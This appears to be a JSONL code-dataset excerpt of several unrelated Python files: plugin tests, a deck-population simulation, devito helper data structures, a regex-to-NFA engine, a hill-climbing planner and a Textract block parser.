app.conf.update.assert_any_call({'CELERY_IMPORTS':\n ['girder_worker.tasks']})\n\n @set_namespace('girder_worker._test_plugins.valid_plugins')\n @mock.patch('girder_worker.__main__.app')\n def test_external_plugins(self, app):\n main()\n app.conf.update.assert_any_call({'CELERY_IMPORTS':\n ['os.path']})\n app.conf.update.assert_any_call({'CELERY_INCLUDE':\n ['girder_worker._test_plugins.tasks']})\n\n @set_namespace('girder_worker._test_plugins.valid_plugins')\n @mock.patch('girder_worker.__main__.app')\n def test_get_extensions(self, app):\n main()\n extensions = sorted(entrypoint.get_extensions())\n self.assertEqual(extensions, ['core', 'plugin1', 'plugin2'])\n\n @set_namespace('girder_worker._test_plugins.valid_plugins')\n @mock.patch('girder_worker.__main__.app')\n def test_get_module_tasks(self, app):\n main()\n extensions = sorted(entrypoint.get_module_tasks('girder_worker._test_plugins.tasks'))\n self.assertEqual(extensions, [\n 'girder_worker._test_plugins.tasks.celery_task',\n 'girder_worker._test_plugins.tasks.function_task'\n ])\n\n @set_namespace('girder_worker._test_plugins.valid_plugins')\n @mock.patch('girder_worker.__main__.app')\n def test_get_extension_tasks(self, app):\n main()\n extensions = sorted(entrypoint.get_extension_tasks('plugin2'))\n self.assertEqual(extensions, [\n 'girder_worker._test_plugins.tasks.celery_task',\n 'girder_worker._test_plugins.tasks.function_task'\n ])\n\n @set_namespace('girder_worker._test_plugins.valid_plugins')\n @mock.patch('girder_worker.__main__.app')\n def test_get_extension_tasks_celery(self, app):\n main()\n extensions = sorted(entrypoint.get_extension_tasks('plugin2', celery_only=True))\n self.assertEqual(extensions, [\n 'girder_worker._test_plugins.tasks.celery_task'\n ])\n\n def test_register_extension(self):\n\n @decorators.argument('n', types.Integer)\n def echo(n):\n return n\n\n @app.task\n @decorators.argument('n', types.Integer)\n def echo_celery(n):\n return n\n\n tasks = {\n '%s.echo' % __name__: echo,\n '%s.echo_celery' % __name__: echo_celery\n }\n entrypoint.register_extension('echo_tasks', tasks)\n\n exts = entrypoint.get_extensions()\n self.assertIn('echo_tasks', exts)\n self.assertEqual(entrypoint.get_extension_tasks('echo_tasks'), tasks)\n\n celery_tasks = entrypoint.get_extension_tasks('echo_tasks', celery_only=True)\n self.assertEqual(celery_tasks.keys(), ['%s.echo_celery' % __name__])\n","sub_path":"tests/task_plugin_test.py","file_name":"task_plugin_test.py","file_ext":"py","file_size_in_byte":5121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"481494270","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Nov 10 13:11:31 2020\r\n\r\n@author: r2d2go\r\n\r\n\"\"\"\r\nimport math\r\nimport numpy as np\r\n\r\nimport random as random\r\n\r\n\r\nclass Rat(object):\r\n def __init__(self, decks, changerate, players, dim, initialDist):\r\n \"\"\"\r\n Initialize the chain instance.\r\n \r\n We have (players) number of players, each with one of (decks) decks. \r\n We then consider the expected outcome when (dim) of them interact.\r\n \r\n Initialize: Randomly generate possible player ratios and the current ratio based on initialDist.\r\n \r\n Parameters\r\n ----------\r\n \r\n decks: int\r\n number of decks\r\n \r\n changerate: dictionary\r\n Dictionary of change rates, indexed by coordinates on the tensor, seperated by dashes (e.g. \"0-3\" in a 4x4 matrix is the upper right corner).\r\n The last index indicates what the resulting change rate adds to.\r\n \r\n players: int\r\n Number of players\r\n \r\n dim: int \r\n dimension of tensor\r\n \r\n initialDist: list\r\n List of probabilities of being in a given deck.\r\n \r\n playerCount: list\r\n List of the number of players with a given deck (indexed as decks)\r\n \r\n \"\"\"\r\n self.decks = decks\r\n self.changerate = changerate\r\n self.players = players\r\n self.initialDist = initialDist.copy()\r\n self.playerCount = []\r\n self.bumps = 0\r\n self.dim = dim\r\n for deckI in range(decks):\r\n self.playerCount.append(0)\r\n for playerI in range(players):\r\n deckRand = random.uniform(0,1)\r\n deckI = 0\r\n distI = 0\r\n while distI < decks:\r\n deckI += initialDist[distI]\r\n if deckRand < deckI:\r\n self.playerCount[distI] += 1\r\n distI = decks+1\r\n distI += 1\r\n \r\n def advance(self, playerrat):\r\n \"\"\"\r\n playerrat: float\r\n proportion of players being advanced\r\n \"\"\"\r\n self.playerrat = playerrat\r\n gamecount = math.floor(self.playerrat*self.players)\r\n tempCount = self.playerCount.copy()\r\n \r\n for gameI in range(gamecount):\r\n listOfDecks = []\r\n for i in range(self.dim):\r\n listOfDecks.append(0)\r\n for i in range(self.dim):\r\n deck = 0\r\n rand = random.randint(1,self.players) \r\n while deck < self.decks:\r\n rand -= self.playerCount[deck]\r\n if rand <= 0:\r\n listOfDecks[i] = deck\r\n deck = 1000000000000\r\n deck += 1\r\n deckKey = \"\"\r\n for i in listOfDecks:\r\n deckKey += str(i)+\"-\"\r\n deckAdd = 0\r\n rollI = 0\r\n gameRoll = random.uniform(0,1)\r\n for i in listOfDecks:\r\n rollI += self.changerate[deckKey+str(i)]\r\n if gameRoll < rollI:\r\n tempCount[i] -= 1\r\n tempCount[deckAdd] += 1\r\n deckAdd += 1\r\n \r\n self.playerCount = tempCount\r\n \r\n def generate_states(self, runLength, playerrat):\r\n \"\"\"\r\n Generates states for a run of length runLength.\r\n \r\n Parameters\r\n ----------\r\n \r\n runLength: int\r\n The number of future states to generate.\r\n \"\"\"\r\n self.runLength = runLength\r\n self.playerrat = playerrat\r\n runList = []\r\n for i in range(runLength):\r\n runList.append(self.playerCount.copy())\r\n self.advance(playerrat)\r\n return runList\r\n \r\n def average(self, initialDist, runLength, runs, playerrat):\r\n \"\"\"\r\n Generates a number of runs and finds the average ratio of players over time.\r\n \r\n Parameters\r\n ----------\r\n \r\n runs: int\r\n The number of runs to generate.\r\n \r\n \"\"\"\r\n self.runs = runs\r\n self.runLength = runLength\r\n self.playerrat = playerrat\r\n \r\n longAverage = []\r\n blankState = []\r\n for deck in range (self.decks):\r\n blankState.append(0)\r\n for run in range(runLength):\r\n longAverage.append(blankState.copy())\r\n for run in range(runs):\r\n self.playerCount = []\r\n for deckI in range(self.decks):\r\n self.playerCount.append(0)\r\n for playerI in range(self.players):\r\n deckRand = random.uniform(0,1)\r\n deckI = 0\r\n distI = 0\r\n while distI < self.decks:\r\n deckI += initialDist[distI]\r\n if deckRand < deckI:\r\n self.playerCount[distI] += 1\r\n distI = self.decks+1\r\n distI += 1\r\n runList = self.generate_states(runLength, playerrat)\r\n for state in range(runLength):\r\n for deckRat in range(self.decks):\r\n longAverage[state][deckRat] += runList[state][deckRat]\r\n for deck in range(self.decks):\r\n for state in range(runLength):\r\n longAverage[state][deck] = longAverage[state][deck]/runs/self.players\r\n return(longAverage)\r\n ","sub_path":"generalizedNDimRun.py","file_name":"generalizedNDimRun.py","file_ext":"py","file_size_in_byte":5482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"439228668","text":"from collections import Callable, Iterable, OrderedDict, Mapping\nfrom functools import reduce\n\nimport numpy as np\nfrom multidict import MultiDict\n\n__all__ = ['Bunch', 'EnrichedTuple', 'ReducerMap', 'DefaultOrderedDict']\n\n\nclass Bunch(object):\n \"\"\"\n Bind together an arbitrary number of generic items. This is a mutable\n alternative to a ``namedtuple``.\n\n From: ::\n\n http://code.activestate.com/recipes/52308-the-simple-but-handy-collector-of\\\n -a-bunch-of-named/?in=user-97991\n \"\"\"\n def __init__(self, **kwargs):\n self.__dict__.update(kwargs)\n\n\nclass EnrichedTuple(tuple):\n \"\"\"\n A tuple with an arbitrary number of additional attributes.\n \"\"\"\n def __new__(cls, *items, getters=None, **kwargs):\n obj = super(EnrichedTuple, cls).__new__(cls, items)\n obj.__dict__.update(kwargs)\n obj._getters = dict(zip(getters or [], items))\n return obj\n\n def __getitem__(self, key):\n if isinstance(key, int):\n return super(EnrichedTuple, self).__getitem__(key)\n else:\n return self._getters[key]\n\n\nclass ReducerMap(MultiDict):\n \"\"\"\n Specialised :class:`MultiDict` object that maps a single key to a\n list of potential values and provides a reduction method for\n retrieval.\n \"\"\"\n\n def update(self, values):\n \"\"\"\n Update internal mapping with standard dictionary semantics.\n \"\"\"\n if isinstance(values, Mapping):\n self.extend(values)\n elif isinstance(values, Iterable) and not isinstance(values, str):\n for v in values:\n self.extend(v)\n else:\n self.extend(values)\n\n def unique(self, key):\n \"\"\"\n Returns a unique value for a given key, if such a value\n exists, and raises a ``ValueError`` if it does not.\n\n :param key: Key for which to retrieve a unique value\n \"\"\"\n candidates = self.getall(key)\n\n def compare_to_first(v):\n first = candidates[0]\n if isinstance(first, np.ndarray) or isinstance(v, np.ndarray):\n return (first == v).all()\n else:\n return first == v\n\n if len(candidates) == 1:\n return candidates[0]\n elif all(map(compare_to_first, candidates)):\n return candidates[0]\n else:\n raise ValueError(\"Unable to find unique value for key %s, candidates: %s\"\n % (key, candidates))\n\n def reduce(self, key, op=None):\n \"\"\"\n Returns a reduction of all candidate values for a given key.\n\n :param key: Key for which to retrieve candidate values\n :param op: Operator for reduction among candidate values.\n If not provided, a unique value will be returned,\n or a ``ValueError`` raised if no unique value exists.\n \"\"\"\n if op is None:\n # Return a unique value if it exists\n return self.unique(key)\n else:\n return reduce(op, self.getall(key))\n\n def reduce_all(self):\n \"\"\"\n Returns a dictionary with reduced/unique values for all keys.\n \"\"\"\n return {k: self.reduce(key=k) for k in self}\n\n\nclass DefaultOrderedDict(OrderedDict):\n # Source: http://stackoverflow.com/a/6190500/562769\n def __init__(self, default_factory=None, *a, **kw):\n if (default_factory is not None and\n not isinstance(default_factory, Callable)):\n raise TypeError('first argument must be callable')\n OrderedDict.__init__(self, *a, **kw)\n self.default_factory = default_factory\n\n def __getitem__(self, key):\n try:\n return OrderedDict.__getitem__(self, key)\n except KeyError:\n return self.__missing__(key)\n\n def __missing__(self, key):\n if self.default_factory is None:\n raise KeyError(key)\n self[key] = value = self.default_factory()\n return value\n\n def __reduce__(self):\n if self.default_factory is None:\n args = tuple()\n else:\n args = self.default_factory,\n return type(self), args, None, None, self.items()\n\n def copy(self):\n return self.__copy__()\n\n def __copy__(self):\n return type(self)(self.default_factory, self)\n","sub_path":"devito/tools/data_structures.py","file_name":"data_structures.py","file_ext":"py","file_size_in_byte":4321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"107154309","text":"class Token:\n def __init__(self, nom, valeur):\n self.nom = nom\n self.valeur = valeur\n\n def __str__(self):\n return self.nom + \":\" + self.valeur\n\nclass Lexer:\n def __init__(self, pattern):\n self.origine = pattern\n self.symboles = {'(':'PAREN_GAUCHE', ')':'PAREN_DROITE', '*':'ETOILE', '\\x08':'CONCAT', '+':'PLUS', '?':'INTERROGATION'}\n self.actuel = 0\n self.taille = len(self.origine)\n \n def prendre_token(self): \n if self.actuel < self.taille:\n c = self.origine[self.actuel]\n self.actuel += 1\n if c not in self.symboles.keys(): # CHAR\n token = Token('CHAR', c)\n else:\n token = Token(self.symboles[c], c)\n return token\n else:\n return Token('AUCUN', '')\n\nclass Parseur:\n def __init__(self, lexer):\n self.lexer = lexer\n self.tokens = []\n self.lookahead = self.lexer.prendre_token()\n \n def considerer(self, nom):\n if self.lookahead.nom == nom:\n self.lookahead = self.lexer.prendre_token()\n\n def parse(self):\n self.term()\n return self.tokens\n \n def term(self):\n self.operateur()\n if self.lookahead.valeur not in ')':\n self.term()\n self.tokens.append(Token('CONCAT', '\\x08'))\n \n def operateur(self):\n self.primary()\n if self.lookahead.nom in ['ETOILE', 'PLUS', 'INTERROGATION']:\n self.tokens.append(self.lookahead)\n self.considerer(self.lookahead.nom)\n\n def primary(self):\n if self.lookahead.nom == 'PAREN_GAUCHE':\n self.considerer('PAREN_GAUCHE')\n self.term()\n self.considerer('PAREN_DROITE')\n elif self.lookahead.nom == 'CHAR':\n self.tokens.append(self.lookahead)\n self.considerer('CHAR')\n\nclass Etat:\n def __init__(self, nom):\n self.epsilon = []\n self.transitions = {}\n self.nom = nom\n self.est_fin = False\n \nclass NFA:\n def __init__(self, debut, fin):\n self.debut = debut\n self.fin = fin\n fin.est_fin = True\n \n def ajouteretat(self, etat, ensemble_etat):\n if etat in ensemble_etat:\n return\n ensemble_etat.add(etat)\n for eps in etat.epsilon:\n self.ajouteretat(eps, ensemble_etat)\n \n def match(self,s):\n etats_actuels = set()\n self.ajouteretat(self.debut, etats_actuels)\n \n for c in s:\n prochains_etats = set()\n for etat in etats_actuels:\n if c in etat.transitions.keys():\n etat_transitoire = etat.transitions[c]\n self.ajouteretat(etat_transitoire, prochains_etats)\n \n etats_actuels = prochains_etats\n\n for s in etats_actuels:\n if s.est_fin:\n return True\n return False\n\nclass Manipulateur:\n def __init__(self):\n self.manipulateurs = {'CHAR':self.gerer_char, 'CONCAT':self.gerer_concat,\n 'ETOILE':self.gerer_rep,\n 'PLUS':self.gerer_rep, 'INTERROGATION':self.gerer_interrogation}\n self.etat_count = 0\n\n def creer_etat(self):\n self.etat_count += 1\n return Etat('s' + str(self.etat_count))\n \n def gerer_char(self, t, pile_nfa):\n s0 = self.creer_etat()\n s1 = self.creer_etat()\n s0.transitions[t.valeur] = s1\n nfa = NFA(s0, s1)\n pile_nfa.append(nfa)\n \n def gerer_concat(self, t, pile_nfa):\n n2 = pile_nfa.pop()\n n1 = pile_nfa.pop()\n n1.fin.est_fin = False\n n1.fin.epsilon.append(n2.debut)\n nfa = NFA(n1.debut, n2.fin)\n pile_nfa.append(nfa)\n \n def gerer_rep(self, t, pile_nfa):\n n1 = pile_nfa.pop()\n s0 = self.creer_etat()\n s1 = self.creer_etat()\n s0.epsilon = [n1.debut]\n if t.nom == 'ETOILE':\n s0.epsilon.append(s1)\n n1.fin.epsilon.extend([s1, n1.debut])\n n1.fin.est_fin = False\n nfa = NFA(s0, s1)\n pile_nfa.append(nfa)\n\n def gerer_interrogation(self, t, pile_nfa):\n n1 = pile_nfa.pop()\n n1.debut.epsilon.append(n1.fin)\n pile_nfa.append(n1)\n\n","sub_path":"Automate.py","file_name":"Automate.py","file_ext":"py","file_size_in_byte":4286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"407948489","text":"\"\"\" RMHC for simulated environments \"\"\"\n# Copyright (c) 2020, - All Rights Reserved\n# This file is part of the Evolutionary Planning on a Learned World Model thesis.\n# Unauthorized copying of this file, via any medium is strictly prohibited without the consensus of the authors.\n# Written by Thor V.A.N. Olesen & Dennis T.T. Nguyen .\n\nimport copy\nimport torch\nimport numpy as np\nfrom concurrent.futures import as_completed\nfrom planning.interfaces.individual import Individual\nfrom tuning.evolution_handler import EvolutionHandler\nfrom concurrent.futures.thread import ThreadPoolExecutor\nfrom planning.interfaces.abstract_hill_climb_simulation import AbstractRandomMutationHillClimbing\nfrom tqdm import tqdm\n\n\nclass RMHC(AbstractRandomMutationHillClimbing):\n def __init__(self, horizon, max_generations, is_shift_buffer, is_rollout, max_rollouts=None, rollout_length=None,\n is_parallel_rollouts=False):\n super().__init__(horizon, max_generations, is_shift_buffer, is_rollout, max_rollouts, rollout_length)\n self.current_elite = None\n self.latent = None\n self.hidden = None\n self.elite_history = []\n self.is_parallel_rollouts = is_parallel_rollouts\n\n self.evolution_handler = EvolutionHandler(self.horizon)\n self.mutation_operator = self.evolution_handler.get_mutation_operator()\n\n def search(self, environment, latent, hidden):\n self.latent = latent\n self.hidden = hidden\n self.elite_history = []\n self.current_elite = self._initialize_individual(environment)\n self._evaluate_individual(self.current_elite, environment)\n self._append_elite(self.current_elite)\n\n for generation in range(self.max_generations):\n self._step_generation(generation, environment)\n\n best_action = self.current_elite.action_sequence[0]\n return best_action, self.elite_history\n\n def _step_generation(self, generation, environment):\n mutated_individual = self._mutate(environment, self.current_elite, generation)\n self.current_elite = self._select_best_individual(self.current_elite, mutated_individual, environment)\n\n def _initialize_individual(self, environment):\n if self.is_shift_buffer and self.current_elite is not None:\n individual = self._shift_buffer(environment, self.current_elite)\n else:\n action_sequence = []\n for _ in range(self.horizon):\n action_sequence.append(environment.sample())\n individual = Individual(action_sequence)\n individual.fitness, individual.age = 0, 0 # reset across generations\n return individual\n\n def _select_best_individual(self, current_elite, mutated_individual, simulated_environment):\n self._evaluate_individual(mutated_individual, simulated_environment)\n elite = mutated_individual if mutated_individual.fitness > current_elite.fitness else current_elite\n self._append_elite(elite)\n return elite\n\n def _shift_buffer(self, environment, individual):\n individual.action_sequence.pop(0)\n individual.action_sequence.append(environment.sample())\n return individual\n\n def _rollout(self, environment, latent, hidden, is_parallel=True):\n total_reward = 0\n if is_parallel:\n with ThreadPoolExecutor() as executor:\n rollout_futures = [executor.submit(lambda args: self._single_rollout(*args), [environment, latent, hidden]) for _ in range(self.max_rollouts)]\n total_reward += sum([rollout_future.result() for rollout_future in as_completed(rollout_futures)])\n else:\n total_reward += sum([self._single_rollout(environment, latent, hidden) for _ in range(self.max_rollouts)])\n\n return total_reward / self.max_rollouts\n\n def _single_rollout(self, environment, latent, hidden):\n is_done = False\n total_reward = 0\n rollout_step = 0\n rollout_latent = latent\n rollout_hidden = hidden\n\n while not is_done and rollout_step < self.rollout_length:\n action = environment.sample()\n rollout_latent, reward, is_done, rollout_hidden = environment.step(action, rollout_hidden, rollout_latent,\n is_simulation_real_environment=False)\n total_reward += reward\n rollout_step += 1\n return total_reward\n\n def _mutate(self, environment, current_elite, generation):\n individual = copy.deepcopy(current_elite)\n self.mutation_operator(environment, individual)\n individual.age, individual.fitness = generation + 1, 0\n return individual\n\n def _evaluate_individual(self, individual, environment):\n with torch.no_grad():\n is_done = False\n total_reward = 0\n latent = self.latent\n hidden = self.hidden\n\n for action in individual.action_sequence:\n if not is_done:\n latent, reward, is_done, hidden = environment.step(action, hidden, latent, is_simulation_real_environment=False)\n total_reward += reward\n else:\n break\n\n if self.is_rollout and not is_done:\n total_reward += self._rollout(environment, latent, hidden, self.is_parallel_rollouts)\n individual.fitness += total_reward\n\n def _append_elite(self, individual):\n is_new_elite = len(self.elite_history) is 0 or individual.age is not self.current_elite.age\n self.elite_history.append((individual.fitness, is_new_elite, individual.action_sequence))\n","sub_path":"planning/simulation/random_mutation_hill_climbing_simulation.py","file_name":"random_mutation_hill_climbing_simulation.py","file_ext":"py","file_size_in_byte":5730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"463876610","text":"# Blocks is built upon list\nfrom collections import UserList,UserDict\nimport json\nimport re\nfrom functools import reduce\nfrom itertools import compress\n\ndef is_iterable(obj):\n \"\"\"\n Check if a object is iterable\n \"\"\"\n try:\n iter(obj)\n except Exception:\n return False\n else:\n return True\n\ndef clean_text(text):\n \"\"\"\n Clean text:\n 1. Collapse all whitespaces\n 2. Get only characters and digits and space\n 3. strip whitespaces\n \"\"\"\n text = re.sub('\\s+', ' ', text)\n text = re.sub('[^A-Za-z0-9 ]+', '', text)\n return(text.strip())\n\ndef get_xy(p):\n try:\n x = p[0]\n y = p[1]\n except KeyError:\n x = p[\"X\"]\n y = p[\"Y\"]\n return(x,y)\n\nclass Block(UserDict):\n def __init__(self,d):\n super().__init__(d)\n self.parsed = None\n self.parse_error = False\n self.parse_error_message = None\n\n def __repr__(self):\n string = self.__class__.__name__ + \"(\" + self.data.__repr__() + \")\"\n return(string)\n\n @property\n def parsed_text(self):\n if self.parsed:\n return(str(self.parsed))\n else:\n return(None)\n \n @property\n def width(self):\n return(self.get([\"Geometry\",\"BoundingBox\",\"Width\"]))\n\n @property \n def height(self):\n return(self.get([\"Geometry\",\"BoundingBox\",\"Height\"]))\n\n\n def get(self,key,default=None):\n \"\"\"\n Get value using key(s) defined in args.\n key: key or a list of key.\n default: default value when key is not found\n \"\"\"\n if is_iterable(key) and type(key) != str:\n v = self.data.copy()\n for k in key:\n v = v.get(k)\n if v is None:\n return(default)\n return(v)\n else:\n return(self.data.get(key))\n\n def _get_relationship_ids(self,blocks,relationship):\n if relationship == \"CHILD\":\n # case1: no relationship\n if self.get([\"Relationships\"]) is None:\n ret = []\n message = None\n return((ret,message))\n children = [x for x in self.get([\"Relationships\"]) \\\n if x[\"Type\"] == \"CHILD\"]\n # case2: no CHILD as key\n if len(children) == 0:\n ret = []\n message = \"Block has zero CHILD in Relationships\"\n return((ret,message))\n # get ids\n children_ids = children[0].get(\"Ids\")\n # case3: length of children is 0\n if children_ids is None:\n ret = []\n message = \"Block doesn't have CHILD Ids\"\n return((ret,message))\n return((children_ids,None))\n elif relationship == \"VALUE\":\n key = [x for x in self.get([\"Relationships\"]) if x[\"Type\"] == \"VALUE\"][0]\n key_ids = key.get(\"Ids\")\n if key_ids:\n return((key_ids,None))\n else:\n message = \"VALUE not found in Relationships\"\n return(([],message))\n else:\n raise ValueError(f\"Relationship {relationship} is not valid.\")\n\n def _get_text_by_relationship(self,blocks,relationship):\n # works for CELL, KEY_VALUE_SET\n if not self.get(\"BlockType\") in [\"CELL\",\"KEY_VALUE_SET\"]:\n raise ValueError(\n f\"Error at Block: {self['Id']} \"\n \"This method only works for CELL and KEY_VALUE_SET.\"\n )\n children_ids,message = self._get_relationship_ids(blocks,relationship)\n if message:\n self.parse_error = True\n self.parse_error_message = message\n if len(children_ids) == 0:\n return(\" \")\n parsed = []\n for cid in children_ids:\n child_block = blocks.filter_by(\"Id\",cid)\n if len(child_block) == 0:\n raise ValueError(f\"Could not find CHILD Id:{cid}\")\n child_block = child_block[0]\n if child_block.parsed is None:\n child_block.parse(blocks)\n parsed.append(child_block.parsed)\n return(\" \".join(parsed)) \n\n def parse(self,blocks):\n \"\"\"\n parse this block with blocks. Blocks is needed because Block's children \n are ids of other blocks. self.parsed atribute will be available \n after block is parsed\n\n Parameters:\n blocks: Blocks object\n\n How .parsed is stored:\n WORD: stored as str\n LINE: stored as str\n KEY_VALUE_SET:\n - KEY: stored as dictionary: {key:value}\n - VALUE: stored as str\n SELECTION_ELEMENT: stored as str: SELECTED or NOT_SELECTED\n CELL: stored as str\n TABLE: stored as array(list of list) of text\n PAGE: will always store \" \" as parsed.\n\n \"\"\"\n # skip if block is already parsed\n if self.parsed:\n return(self)\n block_type = self.get(\"BlockType\") \n if block_type in [\"LINE\",\"WORD\"]:\n self.parsed = self.get(\"Text\")\n return(self)\n elif block_type == \"SELECTION_ELEMENT\":\n self.parsed = self.get(\"SelectionStatus\")\n return(self)\n elif block_type == \"KEY_VALUE_SET\":\n if self.get(\"EntityTypes\")[0] == \"VALUE\":\n self.parsed = self._get_text_by_relationship(blocks,\"CHILD\")\n return(self)\n elif self.get(\"EntityTypes\")[0] == \"KEY\":\n # get key text\n key_text = self._get_text_by_relationship(blocks,\"CHILD\")\n value_text = self._get_text_by_relationship(blocks,\"VALUE\")\n self.parsed = {key_text:value_text}\n return(self) \n else:\n raise ValueError(f\"unexpected Error for Block:{self.get('Id')}\")\n elif block_type == \"CELL\":\n self.parsed = self._get_text_by_relationship(blocks,\"CHILD\")\n return(self)\n elif block_type == \"TABLE\":\n import copy\n cell_ids,message = self._get_relationship_ids(blocks,\"CHILD\")\n if message:\n self.parse_error = True\n self.parse_error_message = message\n cells = []\n for cell_id in cell_ids:\n cell = blocks.filter_by(\"Id\",cell_id)[0]\n cell.parsed = cell._get_text_by_relationship(blocks,\"CHILD\")\n cells.append(cell)\n # construct empty array, which will be filled later\n max_row = max([x[\"RowIndex\"] + x[\"RowSpan\"] - 1 for x in cells])\n max_col = max([x[\"ColumnIndex\"] + x[\"ColumnSpan\"] - 1 for x in cells])\n array = []\n row = [\"\"] * max_col\n for _ in range(max_row):\n array.append(copy.deepcopy(row))\n \n for c in cells:\n for rownum in range(c[\"RowSpan\"]):\n for colnum in range(c[\"ColumnSpan\"]):\n final_row_index = c[\"RowIndex\"]+rownum-1\n final_col_index = c[\"ColumnIndex\"]+colnum-1\n array[final_row_index][final_col_index] = c.parsed\n self.parsed = array\n return(self)\n elif block_type == \"PAGE\":\n self.parsed = \" \"\n return(self)\n\n # positions\n def point(self,position,otype = tuple):\n \"\"\"\n Get coordinate of a point from the Block.\n\n Parameters:\n position: position for the point in block. reference following:\n top left-------top-----top right \n | | |\n left-------center-----right\n | | |\n bottom left---bottom---bottom right\n or\n 0---1---2\n | | |\n 3---4---5\n | | |\n 6---7---8\n otype: output type:list,tuple or dictionary.\n \n Return:\n coordinate of a point.\n \"\"\"\n if position in [0,\"top left\"]:\n ret = self.get([\"Geometry\",\"Polygon\"])[0]\n elif position in [1,\"top\"]:\n p1 = self.get([\"Geometry\",\"Polygon\"])[0]\n p2 = self.get([\"Geometry\",\"Polygon\"])[1]\n ret = {k:(v+p2[k])/2 for k,v in p1.items()}\n elif position in [2,\"top right\"]:\n ret = self.get([\"Geometry\",\"Polygon\"])[1]\n elif position in [3,\"left\"]:\n p1 = self.get([\"Geometry\",\"Polygon\"])[0]\n p2 = self.get([\"Geometry\",\"Polygon\"])[3]\n ret = {k:(v+p2[k])/2 for k,v in p1.items()}\n elif position in [4,\"center\"]:\n p1 = self.get([\"Geometry\",\"Polygon\"])[0]\n p2 = self.get([\"Geometry\",\"Polygon\"])[2]\n ret = {k:(v+p2[k])/2 for k,v in p1.items()}\n elif position in [5,\"right\"]:\n p1 = self.get([\"Geometry\",\"Polygon\"])[1]\n p2 = self.get([\"Geometry\",\"Polygon\"])[2]\n ret = {k:(v+p2[k])/2 for k,v in p1.items()}\n elif position in [6,\"bottom left\"]:\n ret = self.get([\"Geometry\",\"Polygon\"])[3]\n elif position in [7,\"bottom\"]:\n p1 = self.get([\"Geometry\",\"Polygon\"])[2]\n p2 = self.get([\"Geometry\",\"Polygon\"])[3]\n ret = {k:(v+p2[k])/2 for k,v in p1.items()}\n elif position in [8,\"bottom right\"]:\n ret = self.get([\"Geometry\",\"Polygon\"])[2]\n else:\n raise ValueError(f\"Position: {position} is not valid.\")\n\n if otype == dict:\n return(ret)\n elif otype == list:\n return([ret[\"X\"],ret[\"Y\"]])\n elif otype == tuple:\n return((ret[\"X\"],ret[\"Y\"]))\n else:\n raise ValueError(f\"otype {str(otype)} is not valid\")\n\n def get_distance(self,point,shortest=True,dtype=\"d\"):\n \"\"\"\n Get distance from the point to this block.\n\n Parameters:\n point:\n dtype: distance type. d: euclidean distance, v: vertical distance, \n h: horizontal distance. h,v: positive if block is oh right,bottom of \n the point. negative if block is on left,top of the point.\n shortest: whether it's shortest distance or distance to center of the \n other block\n \n Return:\n float. Could have negative sign if dtype is d or v.\n \"\"\"\n import math\n # check input\n if dtype not in [\"v\",\"h\",\"d\"]:\n raise ValueError(f\"dtype :{dtype} is not one of d,h or v\")\n # get x,y coordinate of the point\n x,y = get_xy(point)\n \n if shortest:\n top_left = self.point(\"top left\")\n bottom_right = self.point(\"bottom right\")\n dx = max(top_left[0] - x,0,x-bottom_right[0])\n dy = max(top_left[1] - y,0,y - bottom_right[1])\n if dtype == \"d\":\n return(math.sqrt(sum([dx**2,dy**2])))\n elif dtype == \"h\":\n if top_left[0] < x:\n return(-1 * dx)\n else:\n return(dx)\n elif dtype == \"v\":\n if top_left[1] < y:\n return(-1 * dy)\n else:\n return(dy) \n else:\n x0,y0 = self.point(\"center\")\n if dtype == \"d\":\n return(math.sqrt(sum([(x0-x)**2 + (y0-y)**2])))\n elif dtype == \"h\":\n return(x0-x)\n elif dtype == \"v\":\n return(y0-y)\n\n def is_in_radius(self,point,radius):\n \"\"\"\n Check if center of this block is in circle defined by point and radius.\n\n Parameters:\n point:(x,y) or {\"X\":x,\"Y\":y}, center of the circle\n radius: radius of the circle\n\n Return:\n True or False\n \"\"\"\n x,y = get_xy(point)\n x0,y0 = self.point(\"center\")\n if ((x0-x)**2 + (y0-y)**2) <= radius ** 2:\n return(True)\n else:\n return(False)\n\n\n def is_in_rectangle(self,x_min,y_min,x_max,y_max):\n \"\"\"\n Check whether the center of this block is an rectangle.\n\n Parameters:\n block: Block object\n x_min: x coordinate of top left corner of the rectangle\n y_min: y coordinate of top left corner of the rectangle\n x_max: x coordinate of top bottom right of the rectangle\n y_max: y coordinate of top bottom right of the rectangle\n\n Return:\n True or False\n \"\"\"\n x,y = self.point(\"center\")\n x_in = (x >= x_min) and (x <= x_max)\n y_in = (y >= y_min) and (y <= y_max)\n return(x_in and y_in)\n\n # search text\n def _str_process(self,text,ignore_case=True,clean=False):\n \"\"\"\n Process parsed text and text.\n\n Parameters:\n text: text to compare\n ignore_case: case sensitive or not\n clean: whether to clean text. \n 1. Collapse all whitespaces\n 2. Get only characters and digits and space\n 3. strip whitespaces\n \n Return:\n tuple of self.parsed_text and text\n \"\"\"\n if self.parsed:\n parsed_text = self.parsed_text\n else:\n raise ValueError(f\"Block {self['Id']} is not parsed\")\n\n if ignore_case:\n parsed_text = parsed_text.upper() \n text = text.upper() \n\n if clean:\n parsed_text = clean_text(parsed_text)\n text = clean_text(text)\n return(parsed_text,text)\n\n def str_equals(self,text,ignore_case=True,clean=False):\n \"\"\"\n Check is text in current block is identical to text.\n\n Parameters:\n text: text to compare\n ignore_case: case sensitive or not\n clean: whether to clean text. \n 1. Collapse all whitespaces\n 2. Get only characters and digits and space\n 3. strip whitespaces\n \n Return:\n True or False\n \"\"\"\n parsed_text,text = self._str_process(text,ignore_case,clean)\n return(parsed_text == text)\n def str_contains(self,text,ignore_case = True,clean=False):\n \"\"\"\n Check whether current block contains text\n\n Parameters:\n text: text to compare\n ignore_case: case sensitive or not\n clean: whether to clean text. \n 1. Collapse all whitespaces\n 2. Get only characters and digits and space\n 3. strip whitespaces\n \n Return:\n True or False\n \"\"\"\n parsed_text,text = self._str_process(text,ignore_case,clean)\n return(text in parsed_text)\n\n def str_matches(self,regex,ignore_case=True,clean=False):\n \"\"\"\n Check whether current block partially matches regular expression. Uses \n re.search under the hood.\n\n Parameters:\n text: text to compare\n ignore_case: case sensitive or 